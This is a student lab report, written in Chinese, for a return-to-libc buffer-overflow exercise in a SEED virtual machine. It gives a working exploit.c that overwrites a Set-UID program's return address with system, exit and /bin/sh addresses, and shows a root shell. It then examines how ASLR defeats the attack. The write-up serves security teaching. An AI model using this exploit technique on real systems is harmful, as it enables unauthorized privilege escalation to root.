Return-to-libc Attack Lab

57117213 张曙

Task 1: Finding out address of `libc` functions

取`BUF_SIZE`为233

运行如下代码，生成root的`Set-UID`程序`retlib`：

```
gcc -DBUF_SIZE=233 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib
sudo chmod 4755 retlib
```

使用GDB调试`retlib`，运行后使用`p system`和`p exit`查看`system`和`exit`的地址：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
```

从中可以看到，`system`的地址为`0xb7e42da0`，`exit`的地址为`0xb7e369d0`。

Task 2: Putting the shell string in the memory

使用

```
export MYSHELL=/bin/sh
```

将`MYSHELL`设置为环境变量，值为"/bin/sh"。

编写一个名称长度与`retlib`一样的文件`abcdef`，内容为打印`MYSHELL`环境变量的地址，其结果为：

```
[09/02/20]seed@VM:~/lab-3$ ./abcdef
bffffdef
```

可以看到"/bin/sh"的地址为`0xbffffdef`。

Task 3: Exploiting the buffer-overflow vulnerability

首先使用和Lab 2类似的手法，查看`ebp`和`buffer`的地址：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffe888
gdb-peda$ p &buffer
$2 = (char (*)[233]) 0xbfffe797
gdb-peda$ p/d 0xbffe888 - 0xbffe797
$3 = 241
```

同时可以得出`buf`的地址与返回地址的内存地址之间的距离为241+4=245。

据此，我们可以编写出`exploit.c`：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
    char buf[260];
    FILE *badfile;
    badfile = fopen("./badfile", "w");

    *(long *)&buf[245] = 0xb7e42da0;
    *(long *)&buf[249] = 0xb7e369d0;
    *(long *)&buf[253] = 0xbffffdef;
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);

    return 0;
}
```

其中，在245-248这4个字节是`bof`函数返回之后的返回地址，也就是`system`的地址。在249-252这4个字节是`system`函数返回之后的返回地址，也就是`exit`的地址。在253-256这4个字节是`system`的参数，也就是"/bin/sh"的地址。

在运行`exploit`生成`badfile`之后，运行`retlib`：

```
[09/02/20]seed@VM:~/lab-3$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

成功获得root的Shell。

Attack variation 1

去掉`exit`的地址，也就是将`buf`中249-252这4个字节设为0，再次运行`retlib`：

```
[09/02/20]seed@VM:~/lab-3$ ./retlib
#
Segmentation fault
```

在使用`ctrl`+`D`退出获得的Shell之后，发生段错误。

这是因为，退出Shell之后，程序会进入`system()`的返回地址，而其返回地址正是shellcode中第249-252这4个字节所记录的地址。如果不是`exit`，那么就会跳转到别的内存地址中去，如果相应的内存地址不可执行，就会产生段错误。

Attack variation 2

将`retlib`重命名为`newretlib`，再次运行：

```
[09/02/20]seed@VM:~/lab-3$ ./newretlib
zsh:1: command not found: h
```

发生奇怪的错误。

这是因为，我们通过编写一个与`retlib`名称长度相同的二进制程序`abcdef`来获得"/bin/sh"的地址的。而如果二进制程序的长度发生变化，那么相应地其环境变量的地址也会发生变化，从而在`abcdef`中"/bin/sh"的地址就不是`newretlib`中"/bin/sh"的地址，那么传给`system`的参数就会出现错误。

Task 4: Turning on address randomization

将`kernel.randomize_va_space`设置为2，开启堆栈的ASLR之后，再次运行`retlib`：

```
[09/02/20]seed@VM:~/lab-3$ ./retlib
Segmentation fault
```

发生段错误。

首先，开启ASLR之后，"/bin/sh"的地址不再确定：

```
[09/02/20]seed@VM:~/lab-3$ ./abcdef
bf98ddef
[09/02/20]seed@VM:~/lab-3$ ./abcdef
bfb22def
[09/02/20]seed@VM:~/lab-3$ ./abcdef
bfc23def
```

而通过GDB中设置`set disable-randomization off`开启ASLR之后，可以发现`system`和`exit`的地址也不再确定：

```
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xb7642da0 <__libc_system>
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xb76369d0 <__GI_exit>
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7581da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75759d0 <__GI_exit>
```

但是，由于汇编指令是确定的，因此`buf`的地址与`ebp`的值之间的距离是固定的，所以说，`X`，`Y`，`Z`三个地址是正确的，但其对应的数组的值都发生了改变。